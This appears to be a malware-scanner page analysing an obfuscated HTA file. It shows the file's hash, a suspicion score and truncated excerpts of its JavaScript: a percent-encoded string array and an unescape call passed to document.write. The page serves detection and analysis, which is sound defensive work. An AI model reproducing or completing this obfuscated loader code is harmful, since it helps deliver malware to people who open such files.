Suspicious 80% Download

42b3442bc675f7ff95d660935ea8756710fea99551b1d614f2e8b7db739d72a0.hta

Obfuscated HTA payload

Calls JavaScript unescape in source textPercent-encoded content decoded
SHA-25642b3442bc675f7ff95d660935ea8756710fea99551b1d614f2e8b7db739d72a0
MaleculeH(Db)Md

Evidence

Percent-encoded content decoded lines 1–4
1<script language="javascript">
2<!--
3// == Code Obfuscation Protection from https://blas.com == //
4function _0x40a8(){var _0x144a7d=['2%37%25%32','%35%25%37%','8%25%33%32','2%25%36%32','25%33%37%2','2%25%34%35','25%34%32%2','7%36%25%36','0%25%36%39','%37%41%25%','%6E%67%75 …
Calls JavaScript unescape in source text line 4
4:12826… 0x40a8,0x1*0xa03c9+-0x84f08+0x53ed9),document[_0x3bcac7(0x382)](unescape(_0x3bcac7(0x153)+_0x3bcac7(0x3d0)+_0x3bcac7(0x430)+_0x3bcac7(0x2cb)+_0x3bcac7(0x484)+_0x3bcac7(0x10f)+_0x3bcac7(0x1e0)+_0x3bcac7 …

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.